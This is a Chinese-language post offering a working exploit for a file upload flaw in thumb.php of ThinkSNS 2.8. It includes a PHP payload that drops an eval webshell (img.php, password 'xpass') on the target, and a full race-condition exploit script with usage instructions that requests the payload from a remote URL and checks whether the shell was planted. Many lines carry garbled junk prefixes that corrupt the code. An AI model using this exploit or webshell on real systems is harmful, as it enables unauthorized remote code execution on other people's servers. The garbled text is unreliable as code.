Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
( [( F, s3 T! _5 ]' p- s存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
+ B8 e( p# S3 U1 \- l: O) }1 X" [- b存在漏洞的文件为：thumb.php
' y7 z& ~+ H+ d0 A6 u3 @+ y- N作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
- t9 ~8 {$ j+ [0 \6 z1 k, @<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2 U5 e3 J& r- d$ }" ]& Z3 R& w3 \2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
; w; l. b/ y3 H
3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
: N. H7 h6 f) E4 V$ J% |; LExploit文件内容如下：（这个我就不详细解释了）
, k& j  u4 b, v<?php
error_reporting(0);
! w% W  z) D+ ]" b$ X& D2 t6 \0 z! lset_time_limit(0);
+ ^* }1 {/ D& P: Z% u5 lini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
2 l- k$ U+ i' {- U* r' e$fp = fsockopen($host, $port);
4 ?: W& q9 g. Y( R) Eif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
- p" A$ O& ?' l# z3 jreturn $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
8 e" _3 B  D. J0 Z$ret.= fgets($fp, 1024);
# M5 p5 j/ X8 I( N( E0 |fclose($fp);
' X' d; _( B; lreturn $ret;
" `0 k' T. h8 k" L& \$ t  m4 k}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
% @7 Z, p) u3 R+ Q- f' C# Hprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
8 n/ D5 G/ q3 e- sprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
5 N/ Q' z+ C" j: x}
$host = $argv[1];
- L- r7 F" ?; O2 u. W  h$path = $argv[2];
. S: m9 ?$ e" M, u! A+ y; L$url = $argv[3];
3 }$ {/ _6 Y& p+ S% N* C9 D" [$i=0;
# I5 y8 D7 S0 p9 d/ b8 Q; ?$ [% l//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
6 ?$ a  o  |3 p) D$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
) L7 g) |5 G8 P4 h) Q3 c0 y# J; W//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
% d* m0 {' z) t5 H) H- M! s+ a6 D$headers .= “Connection: close\r\n\r\n”;
5 M0 o0 ^0 o- Y+ e& G. }. g) Cecho $headers;
while(++$i<10) {
$ l; e/ D+ }: |! |" h6 ^3 ~: _fclose(http_send($host, 80, $headers));
7 U/ z* X, ?" B2 i9 k; N}
fclose(http_send($host, 80, $headers_up));
, X* h. V+ |1 D1 F/ ^! j0 A7 rwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, w1 `/ l0 k$ W, B+ c5 r* C8 B/ ?9 ^$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
, L# I8 S6 I( R6 g+ Uif(preg_match(‘/200 OK/’,$res)) {
$ a( s) K. L# b/ c' }6 Aprint “Success!\n\n”;
5 Z/ C7 Z& G/ V9 J7 I5 l( k0 t9 [2 i} else {
6 {! D+ ]* \+ l. C4 E0 _print “Fail!\n\n”;
: f7 ^- v% O7 t! L' \9 Q+ U1 j- ?; V}
?>
1 p1 w- s3 j# q​